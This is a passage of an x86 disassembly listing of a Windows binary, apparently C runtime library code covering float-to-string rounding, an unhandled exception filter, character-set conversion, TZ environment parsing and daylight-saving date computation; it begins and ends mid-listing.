sub_41BB57	proc near		; CODE XREF: sub_417E54+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CD10
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB2B
		add	esp, 24h
		leave
		retn
sub_41BB57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB84	proc near		; CODE XREF: sub_417E54+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41CD10
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BB41
		add	esp, 24h
		leave
		retn
sub_41BB84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBB1	proc near		; CODE XREF: sub_417E92+65p
					; sub_417F96+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41BBEE
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41BBD4:				; CODE XREF: sub_41BBB1+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41BBE0
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41BBE3
; ---------------------------------------------------------------------------


loc_41BBE0:				; CODE XREF: sub_41BBB1+27j
		push	30h
		pop	edx


loc_41BBE3:				; CODE XREF: sub_41BBB1+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41BBD4
		mov	edx, [ebp+arg_8]


loc_41BBEE:				; CODE XREF: sub_41BBB1+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41BC07
		cmp	byte ptr [ecx],	35h
		jl	short loc_41BC07


loc_41BBFA:				; CODE XREF: sub_41BBB1+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41BC05
		mov	byte ptr [eax],	30h
		jmp	short loc_41BBFA
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBB1+4Dj
		inc	byte ptr [eax]


loc_41BC07:				; CODE XREF: sub_41BBB1+42j
					; sub_41BBB1+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41BC11
		inc	dword ptr [edx+4]
		jmp	short loc_41BC23
; ---------------------------------------------------------------------------


loc_41BC11:				; CODE XREF: sub_41BBB1+59j
		push	edi
		call	sub_413E90
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4145D0
		add	esp, 10h


loc_41BC23:				; CODE XREF: sub_41BBB1+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BBB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC28	proc near		; CODE XREF: sub_417E92+3Fp
					; sub_417F96+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41BC8C
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_7423F8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41D1E1
		mov	dword_742420, eax
		add	esp, 18h
		movsx	eax, byte_7423FA
		mov	dword_742418, eax
		pop	edi
		movsx	eax, word_7423F8
		mov	dword_74241C, eax
		mov	dword_742424, offset dword_7423FC
		mov	eax, offset dword_742418
		pop	esi
		leave
		retn
sub_41BC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC8C	proc near		; CODE XREF: sub_41BC28+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41BCDA
		cmp	ebx, edi
		jz	short loc_41BCD3
		lea	edi, [ecx+3C00h]
		jmp	short loc_41BCFB
; ---------------------------------------------------------------------------


loc_41BCD3:				; CODE XREF: sub_41BC8C+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41BCFB
; ---------------------------------------------------------------------------


loc_41BCDA:				; CODE XREF: sub_41BC8C+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41BCF2
		cmp	edx, ebx
		jnz	short loc_41BCF2
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41BD3D
; ---------------------------------------------------------------------------


loc_41BCF2:				; CODE XREF: sub_41BC8C+52j
					; sub_41BC8C+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41BCFB:				; CODE XREF: sub_41BC8C+45j
					; sub_41BC8C+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41BD13:				; CODE XREF: sub_41BC8C+A6j
		test	ecx, esi
		jnz	short loc_41BD34
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41BD13
; ---------------------------------------------------------------------------


loc_41BD34:				; CODE XREF: sub_41BC8C+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41BD3D:				; CODE XREF: sub_41BC8C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC8C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_415F07
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BD4B	proc near		; DATA XREF: sub_41BD91o
					; .data:00437B00o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41BD6E
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41BD6E
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41BD6E
		jmp	sub_418A1C
; ---------------------------------------------------------------------------


loc_41BD6E:				; CODE XREF: sub_41BD4B+Dj
					; sub_41BD4B+13j ...
		mov	eax, dword_742428
		test	eax, eax
		jz	short loc_41BD8B
		push	eax
		call	sub_41BDE7
		test	eax, eax
		pop	ecx
		jz	short loc_41BD8B
		push	esi
		call	dword_742428
		jmp	short loc_41BD8D
; ---------------------------------------------------------------------------


loc_41BD8B:				; CODE XREF: sub_41BD4B+2Aj
					; sub_41BD4B+35j
		xor	eax, eax


loc_41BD8D:				; CODE XREF: sub_41BD4B+3Ej
		pop	esi
		retn	4
sub_41BD4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD91	proc near		; DATA XREF: .data:00421020o
		push	offset sub_41BD4B
		call	ds:dword_41F024	; SetUnhandledExceptionFilter
		mov	dword_742428, eax
		retn
sub_41BD91	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDA2	proc near		; DATA XREF: .data:00421038o
		push	dword_742428
		call	ds:dword_41F024	; SetUnhandledExceptionFilter
		retn
sub_41BDA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDAF	proc near		; CODE XREF: sub_41826A+6Bp
					; sub_41877B+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:off_41F020
		test	eax, eax
		jz	short loc_41BDC7
		xor	esi, esi


loc_41BDC7:				; CODE XREF: sub_41BDAF+14j
		mov	eax, esi
		pop	esi
		retn
sub_41BDAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDCB	proc near		; CODE XREF: sub_41877B+73p
					; sub_41877B+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:off_41F178
		test	eax, eax
		jz	short loc_41BDE3
		xor	esi, esi


loc_41BDE3:				; CODE XREF: sub_41BDCB+14j
		mov	eax, esi
		pop	esi
		retn
sub_41BDCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDE7	proc near		; CODE XREF: sub_41877B+15Bp
					; sub_41BD4B+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	ds:off_41F01C
		test	eax, eax
		jz	short loc_41BDFB
		xor	esi, esi


loc_41BDFB:				; CODE XREF: sub_41BDE7+10j
		mov	eax, esi
		pop	esi
		retn
sub_41BDE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418A1C


loc_41BDFF:				; CODE XREF: sub_418A1C:loc_418A6Dj
		push	0Ah
		call	sub_41B235
		push	16h
		call	sub_41D474
		pop	ecx
		pop	ecx
		push	3
		call	sub_415C9A
; END OF FUNCTION CHUNK	FOR sub_418A1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE16	proc near		; CODE XREF: sub_418BBD+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41BE39
		cmp	[ebp+arg_8], ebx
		jz	short loc_41BE39
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41BE3F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41BE39
		mov	[eax], bx


loc_41BE39:				; CODE XREF: sub_41BE16+Cj
					; sub_41BE16+11j ...
		xor	eax, eax


loc_41BE3B:				; CODE XREF: sub_41BE16+42j
					; sub_41BE16+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BE3F:				; CODE XREF: sub_41BE16+17j
		cmp	dword_7422B4, ebx
		jnz	short loc_41BE5A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41BE55
		movzx	ax, al
		mov	[ecx], ax


loc_41BE55:				; CODE XREF: sub_41BE16+36j
					; sub_41BE16+C0j
		push	1
		pop	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE5A:				; CODE XREF: sub_41BE16+2Fj
		mov	ecx, off_4377B0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BEB7
		mov	eax, dword_4379BC
		cmp	eax, 1
		jle	short loc_41BE9E
		cmp	[ebp+arg_8], eax
		jl	short loc_41BEA8
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_7422C4
		call	ds:dword_41F110	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4379BC
		jnz	short loc_41BE3B


loc_41BE9E:				; CODE XREF: sub_41BE16+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41BEA8
		cmp	[esi+1], bl
		jnz	short loc_41BE3B


loc_41BEA8:				; CODE XREF: sub_41BE16+61j
					; sub_41BE16+8Bj ...
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BEB7:				; CODE XREF: sub_41BE16+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_7422C4
		call	ds:dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41BE55
		jmp	short loc_41BEA8
sub_41BE16	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEDE	proc near		; CODE XREF: sub_418BBD+76p
					; sub_418BBD+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4379BC, 1
		jle	short loc_41BEF5
		push	8
		push	[esp+4+arg_0]
		call	sub_41686F
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41BEF5:				; CODE XREF: sub_41BEDE+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41BEDE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF10	proc near		; CODE XREF: sub_418BBD+797p
					; sub_418BBD+7E7p
		cmp	cl, 40h
		jnb	short loc_41BF2A
		cmp	cl, 20h
		jnb	short loc_41BF20
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41BF20:				; CODE XREF: sub_41BF10+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41BF2A:				; CODE XREF: sub_41BF10+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41BF10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF2F	proc near		; CODE XREF: sub_419633+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41BF7B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41BF4D
		test	al, 80h
		jz	short loc_41BF7B
		test	al, 2
		jnz	short loc_41BF7B


loc_41BF4D:				; CODE XREF: sub_41BF2F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41BF5A
		push	esi
		call	sub_41B388
		pop	ecx


loc_41BF5A:				; CODE XREF: sub_41BF2F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41BF6A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41BF7B
		inc	eax
		mov	[esi], eax


loc_41BF6A:				; CODE XREF: sub_41BF2F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41BF81
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41BF87
		inc	eax
		mov	[esi], eax


loc_41BF7B:				; CODE XREF: sub_41BF2F+9j
					; sub_41BF2F+18j ...
		or	eax, 0FFFFFFFFh


loc_41BF7E:				; CODE XREF: sub_41BF2F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41BF81:				; CODE XREF: sub_41BF2F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41BF87:				; CODE XREF: sub_41BF2F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41BF7E
sub_41BF2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF9D	proc near		; CODE XREF: sub_41966E:loc_4196ADp
		cmp	dword_7424E8, 0
		jnz	short locret_41BFB1
		call	sub_41BFB2
		inc	dword_7424E8

locret_41BFB1:				; CODE XREF: sub_41BF9D+7j
		retn
sub_41BF9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB2	proc near		; CODE XREF: sub_41BF9D+9p

var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_8		= byte ptr -8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_742430, ebp
		mov	dword_438208, ebx
		mov	dword_4381F8, ebx
		call	sub_41D5E6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41C0DB
		push	offset dword_742438
		call	ds:off_41F150
		cmp	eax, ebx
		jz	loc_41C20A
		mov	eax, dword_742438
		mov	ecx, dword_74248C
		imul	eax, 3Ch
		cmp	word_74247E, bp
		push	1
		pop	edx
		mov	dword_438160, eax
		mov	dword_742430, edx
		jz	short loc_41C029
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_438160, eax


loc_41C029:				; CODE XREF: sub_41BFB2+69j
		cmp	word_7424D2, bp
		jz	short loc_41C04D
		mov	eax, dword_7424E0
		cmp	eax, ebp
		jz	short loc_41C04D
		sub	eax, ecx
		mov	dword_438164, edx
		imul	eax, 3Ch
		mov	dword_438168, eax
		jmp	short loc_41C059
; ---------------------------------------------------------------------------


loc_41C04D:				; CODE XREF: sub_41BFB2+7Ej
					; sub_41BFB2+87j
		mov	dword_438164, ebp
		mov	dword_438168, ebp


loc_41C059:				; CODE XREF: sub_41BFB2+99j
		lea	eax, [esp+18h+var_8]
		mov	esi, ds:dword_41F10C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4381EC
		push	ebx
		push	offset dword_74243C
		push	edi
		push	dword_7422C4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41C096
		cmp	[esp+38h+var_28], ebp
		jnz	short loc_41C096
		mov	eax, off_4381EC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41C09E
; ---------------------------------------------------------------------------


loc_41C096:				; CODE XREF: sub_41BFB2+D1j
					; sub_41BFB2+D7j
		mov	eax, off_4381EC
		and	byte ptr [eax],	0


loc_41C09E:				; CODE XREF: sub_41BFB2+E2j
		lea	eax, [esp+38h+var_28]
		push	eax
		push	ebp
		push	3Fh
		push	off_4381F0
		push	ebx
		push	offset dword_742490
		push	edi
		push	dword_7422C4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41C202
		cmp	[esp+58h+var_48], ebp
		jnz	loc_41C202
		mov	eax, off_4381F0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41C20A
; ---------------------------------------------------------------------------


loc_41C0DB:				; CODE XREF: sub_41BFB2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41C20A
		mov	eax, dword_7424E4
		cmp	eax, ebp
		jz	short loc_41C0FE
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41C20A


loc_41C0FE:				; CODE XREF: sub_41BFB2+139j
		push	dword_7424E4
		call	sub_413F7F
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_413F0B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_7424E4, eax
		jz	loc_41C20A
		push	esi
		push	eax
		call	sub_414FB0
		push	3
		push	esi
		push	off_4381EC
		call	sub_415140
		mov	eax, off_4381EC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41C153
		push	1
		inc	esi
		pop	edi


loc_41C153:				; CODE XREF: sub_41BFB2+19Bj
		push	esi
		call	sub_413CF4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_438160, ecx


loc_41C16A:				; CODE XREF: sub_41BFB2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41C178
		cmp	al, bl
		jl	short loc_41C17B
		cmp	al, 39h
		jg	short loc_41C17B


loc_41C178:				; CODE XREF: sub_41BFB2+1BCj
		inc	esi
		jmp	short loc_41C16A
; ---------------------------------------------------------------------------


loc_41C17B:				; CODE XREF: sub_41BFB2+1C0j
					; sub_41BFB2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C1CE
		inc	esi
		push	esi
		call	sub_413CF4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_438160
		add	ecx, eax
		mov	dword_438160, ecx


loc_41C199:				; CODE XREF: sub_41BFB2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C1A6
		cmp	al, 39h
		jg	short loc_41C1A6
		inc	esi
		jmp	short loc_41C199
; ---------------------------------------------------------------------------


loc_41C1A6:				; CODE XREF: sub_41BFB2+1EBj
					; sub_41BFB2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C1CE
		inc	esi
		push	esi
		call	sub_413CF4
		pop	ecx
		mov	ecx, dword_438160
		add	ecx, eax
		mov	dword_438160, ecx


loc_41C1C1:				; CODE XREF: sub_41BFB2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C1CE
		cmp	al, 39h
		jg	short loc_41C1CE
		inc	esi
		jmp	short loc_41C1C1
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41BFB2+1CCj
					; sub_41BFB2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41C1DA
		neg	ecx
		mov	dword_438160, ecx


loc_41C1DA:				; CODE XREF: sub_41BFB2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_438164, eax
		jz	short loc_41C202
		push	3
		push	esi
		push	off_4381F0
		call	sub_415140
		mov	eax, off_4381F0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41C20A
; ---------------------------------------------------------------------------


loc_41C202:				; CODE XREF: sub_41BFB2+10Bj
					; sub_41BFB2+115j ...
		mov	eax, off_4381F0
		and	byte ptr [eax],	0


loc_41C20A:				; CODE XREF: sub_41BFB2+40j
					; sub_41BFB2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41BFB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C210	proc near		; CODE XREF: sub_41966E+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_438164, edi
		jnz	short loc_41C224


loc_41C21D:				; CODE XREF: sub_41C210+148j
					; sub_41C210+150j ...
		xor	eax, eax
		jmp	loc_41C370
; ---------------------------------------------------------------------------


loc_41C224:				; CODE XREF: sub_41C210+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4381F8
		jnz	short loc_41C242
		cmp	eax, dword_438208
		jz	loc_41C344


loc_41C242:				; CODE XREF: sub_41C210+24j
		cmp	dword_742430, edi
		jz	loc_41C31A
		movzx	ecx, word_7424DE
		push	ecx
		cmp	word_7424D0, di
		movzx	ecx, word_7424DC
		push	ecx
		movzx	ecx, word_7424DA
		push	ecx
		movzx	ecx, word_7424D8
		push	ecx
		jnz	short loc_41C294
		movzx	ecx, word_7424D4
		push	edi
		push	ecx
		movzx	ecx, word_7424D6
		push	ecx
		movzx	ecx, word_7424D2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41C2A8
; ---------------------------------------------------------------------------


loc_41C294:				; CODE XREF: sub_41C210+65j
		movzx	ecx, word_7424D6
		push	ecx
		push	edi
		movzx	ecx, word_7424D2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41C2A8:				; CODE XREF: sub_41C210+82j
		push	ebx
		call	sub_41C3BC
		movzx	eax, word_74248A
		add	esp, 2Ch
		cmp	word_74247C, di
		push	eax
		movzx	eax, word_742488
		push	eax
		movzx	eax, word_742486
		push	eax
		movzx	eax, word_742484
		push	eax
		jnz	short loc_41C302
		movzx	eax, word_742480
		push	edi
		push	eax
		movzx	eax, word_742482
		push	eax
		movzx	eax, word_74247E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41C2F7:				; CODE XREF: sub_41C210+108j
		push	edi
		call	sub_41C3BC
		add	esp, 2Ch
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C302:				; CODE XREF: sub_41C210+C8j
		movzx	eax, word_742482
		push	eax
		push	edi
		movzx	eax, word_74247E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41C2F7
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C210+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41C3BC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41C3BC
		add	esp, 58h


loc_41C344:				; CODE XREF: sub_41C210+2Cj
					; sub_41C210+F0j
		mov	edx, dword_4381FC
		mov	eax, dword_43820C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41C374
		cmp	ecx, edx
		jl	loc_41C21D
		cmp	ecx, eax
		jg	loc_41C21D
		cmp	ecx, edx
		jle	short loc_41C388
		cmp	ecx, eax
		jge	short loc_41C388


loc_41C36E:				; CODE XREF: sub_41C210+166j
					; sub_41C210+16Aj
		mov	eax, ebx


loc_41C370:				; CODE XREF: sub_41C210+Fj
					; sub_41C210+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C210+144j
		cmp	ecx, eax
		jl	short loc_41C36E
		cmp	ecx, edx
		jg	short loc_41C36E
		cmp	ecx, eax
		jle	short loc_41C388
		cmp	ecx, edx
		jl	loc_41C21D


loc_41C388:				; CODE XREF: sub_41C210+158j
					; sub_41C210+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41C3AF
		xor	ecx, ecx
		cmp	eax, dword_438200
		setnl	cl


loc_41C3AB:				; CODE XREF: sub_41C210+1AAj
		mov	eax, ecx
		jmp	short loc_41C370
; ---------------------------------------------------------------------------


loc_41C3AF:				; CODE XREF: sub_41C210+18Ej
		xor	ecx, ecx
		cmp	eax, dword_438210
		setl	cl
		jmp	short loc_41C3AB
sub_41C210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3BC	proc near		; CODE XREF: sub_41C210+99p
					; sub_41C210+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41C457
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41C3E7
		shl	esi, 2
		mov	eax, dword_438210[esi]
		jmp	short loc_41C3F0
; ---------------------------------------------------------------------------


loc_41C3E7:				; CODE XREF: sub_41C3BC+1Ej
		shl	esi, 2
		mov	eax, dword_438244[esi]


loc_41C3F0:				; CODE XREF: sub_41C3BC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41C42A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42A:				; CODE XREF: sub_41C3BC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41C434:				; CODE XREF: sub_41C3BC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41C472
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C448
		mov	esi, dword_438214[esi]
		jmp	short loc_41C44E
; ---------------------------------------------------------------------------


loc_41C448:				; CODE XREF: sub_41C3BC+82j
		mov	esi, dword_438248[esi]


loc_41C44E:				; CODE XREF: sub_41C3BC+8Aj
		cmp	ecx, esi
		jle	short loc_41C472
		sub	ecx, 7
		jmp	short loc_41C472
; ---------------------------------------------------------------------------


loc_41C457:				; CODE XREF: sub_41C3BC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41C468
		mov	ecx, dword_438210[eax*4]
		jmp	short loc_41C46F
